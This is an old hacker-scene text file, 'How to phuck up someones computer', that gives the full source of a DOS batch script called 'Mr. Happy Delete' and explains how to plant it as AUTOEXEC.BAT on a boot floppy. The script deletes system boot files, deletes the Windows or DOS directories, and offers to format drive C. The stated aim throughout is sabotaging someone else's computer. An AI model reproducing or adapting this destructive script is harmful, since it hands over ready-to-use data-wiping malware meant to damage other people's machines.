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How to phuck up someones computer
It's called Mr. Happy Delete! It's just a batch file that
can you to really mess someone's computer up. All you have to do is
create an AUTOEXEC.BAT file for a 3 1/2 inch disk or a 5 1/4 inch disk
(but if the computer you want to mess up has a 5 1/4 drive, the computer
is probably really old and not worth the trouble.) This particular batch
file will delete all start-up files (IO.SYS, C:\AUTOEXEC.BAT, COMMAND.COM
MSDOS.SYS), it'll delete C:\DOS if it exists, the Windows directory, and
if Windows 95 is under the directory WIN95, then it'll also be deleted.
As an added bonus, it can also reformat the hard drive. I don't think I
need to tell you not to try this file out on your computer, but since
there are morons out there I'll say it any way: DON'T TRY THIS ON YOUR
COMPUTER! And just in case someone's stupid to acidentally use the file,
it's designed to ask you if you want to proceed to delete start-up files
(and Windows and DOS), and it'll ask you twice if you want to format the
hard drive. Here's a sample file you might want to use:
(NOTE: Unless you know how the CHOICE, GOTO, and ERRORLEVEL commands
work, I don't suggest you try to change them. Although you can change
the messages after the ECHO statements.)
@ECHO OFF
CHOICE /C:YN Execute Mr. Happy Delete?
If ErrorLevel 2 goto End2
If ErrorLevel 1 goto HeHe
:HeHe
ECHO One moment please......
@ATTRIB -S -H -R C:\*.*
DEL C:\MSDOS.SYS
DEL C:\IO.SYS
DEL C:\CONFIG.SYS
DEL C:\AUTOEXEC.BAT
DEL C:\WINDOWS\*.INI
DEL C:\WINDOWS\*.GRP
if exist c:\windows\winfile.exe GOTO DEL1
if exist c:\win95\winfile.exe GOTO DEL2
if exist c:\dos\command.com GOTO DEL3
:DEL1
DELTREE C:\WINDOWS /Y
GOTO END
:DEL2
DELTREE C:\WIN95 /Y
GOTO END
:DEL3
DELTREE C:\DOS /Y
GOTO END
:END2
ECHO Nothing deleted.
goto end3
:END
CHOICE /YN Do you want to FORMAT drive c:\?
IF ERRORLEVEL 2 GOTO NoFormat
IF ERRORLEVEL 1 GOTO FormatDrive
:NoFormat
@ECHO (The computer's hard drive wasn't formatted.)
Goto Cont1
:FormatDrive
@ECHO To format drive C, press Y when your asked if you
@ECHO really want to format.
FORMAT C:
@ECHO Drive C has been formated (Unless you pressed N)
:Cont1
@ECHO This computer is now officialy screwed. Thanky you for using Mr. Happy
ECHO delete! Have a nice day!
:end3
In order for this to work, you need to copy the files FORMAT.COM,
CHOICE.COM, DELTREE.EXE, ATTRIB.COM, and make sure you save the file
described above as AUTOEXEC.BAT saved on the disk that'll make someone
very, very unhappy. (NOTE: Just in case anyone's stupid enough to save
it in drive C, make sure you save AUTOEXEC.BAT as A:\AUTOEXEC.BAT or
B:\AUTOEXEC.BAT)
----------- Vortex
w/ credit to Haqr